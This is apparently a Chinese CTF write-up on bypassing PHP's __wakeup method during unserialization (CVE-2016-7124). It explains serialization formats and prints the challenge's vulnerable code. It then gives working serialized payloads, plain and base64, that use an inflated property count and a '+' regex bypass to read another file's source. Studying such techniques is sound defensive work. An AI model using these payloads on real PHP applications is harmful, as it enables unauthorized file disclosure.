php還原序列化漏洞繞過魔術方法 __wakeup

來源:互聯網
上載者:User

標籤:method   屬性   reg   serialize   href   魔術方法   images   obj   lstat   

0x01 前言

前天學校的ctf比賽,有一道題是關於php還原序列化漏洞繞過wakeup,最後跟著大佬們學到了一波姿勢。。

0x02 原理序列化與還原序列化簡單介紹

序列化:把複雜的資料類型壓縮到一個字串中 資料類型可以是數組,字串,對象等  函數 : serialize()

還原序列化:恢複原先被序列化的變數 函數: unserialize()

1 <?php2 $test1 = "hello world";3 $test2 = array("hello","world");4 $test3 = 123456;5 echo serialize($test1); //  s:11:"hello world";  序列化字串6 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化數組7 echo serialize($test3); //  i:123456;  8 ?>
1 <?php2 class hello{3     public $test4 = "hello,world";4 }5 $test = new hello();6 echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化對象  首字母代表參數類型 O->Objext S->String...7 ?>
魔術方法:官方文檔中介紹
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被稱為"魔術方法"(Magic methods)。在命名自己的類方法時不能使用這些方法名,除非是想使用其魔術功能。

__wakeup()魔術方法

unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先準備對象需要的資源。 
還原序列化public private protect參數產生不同結果
1 <?php2 class test{3     private $test1="hello";4     public $test2="hello";5     protected $test3="hello";6 }7 $test = new test();8 echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}9 ?>

定義了三個不同類型(私人,公有,保護)但是值相同的字串,序列化輸出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通過對網頁抓取輸出是這樣的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的參數被還原序列化後變成 \0test\0test1 public的參數變成 test2   protected的參數變成 \0*\0test3 

0x03 分析

貼我在比賽時看到的代碼

 1 <?php  2     error_reporting(0);  3     class sercet{  4         private $file=‘index.php‘;  5           6         public function __construct($file){  7             $this->file=$file;  8         }  9          10         function __destruct(){ 11             echo show_source($this->file,true); 12         } 13          14         function __wakeup(){ 15             $this->file=‘index.php‘; 16         } 17     } 18      19     $cmd=cmd00; 20     if (!isset($_GET[$cmd])){ 21         echo show_source(‘index.php‘,true); 22     } 23     else{ 24         $cmd=base64_decode($_GET[$cmd]); 25         if ((preg_match(‘/[oc]:\d+:/i‘,$cmd))||(preg_match(‘/flag/i‘,$cmd))){ 26             echo "Are u gaoshing?"; 27         } 28         else{ 29             unserialize($cmd); 30         } 31     }32 ?> 33 //sercet in the_next.php

大致思路 首先是一個類sercet 接受$cmd,繞過正則 ,還原序列化。覆蓋$file的值,顯示the_next.php的源碼,繞過 __wakeup

 1 <?php 2     class sercet{  3         private $file=‘index.php‘;  4           5         public function __construct($file){  6             $this->file=$file;  7         }  8           9         function __destruct(){ 10             echo show_source($this->file,true); 11         } 12          13         function __wakeup(){ 14             $this->file=‘index.php‘; 15         } 16     } 17     $test = new sercet("the_next.php");18     echo serialize($test);  // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";}19 ?>

繞過正則可以用+號 問題是如何繞過__weakup 百度一下   當成員屬性數目大於實際數目時可繞過wakeup方法

漏洞詳情可見 即成員屬性數目大於實際數目時可繞過wakeup方法  O:6:"sercet":1:  也就是輸入比1大的值就行   如O:6:"sercet":2:

POC1:  TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==

在複現的過程中 我發現在hackbar中直接將 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64編碼不能繞過 必須要在本地base64_encode產生 才能複現成功  百度了一波 

 

所以POC2:  O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";}  TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=

 

 

參考連結

  php bugs 72663分析(CVE-2016-7124)

  由HITCON 2016一道web聊一聊php還原序列化漏洞

 

php還原序列化漏洞繞過魔術方法 __wakeup

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.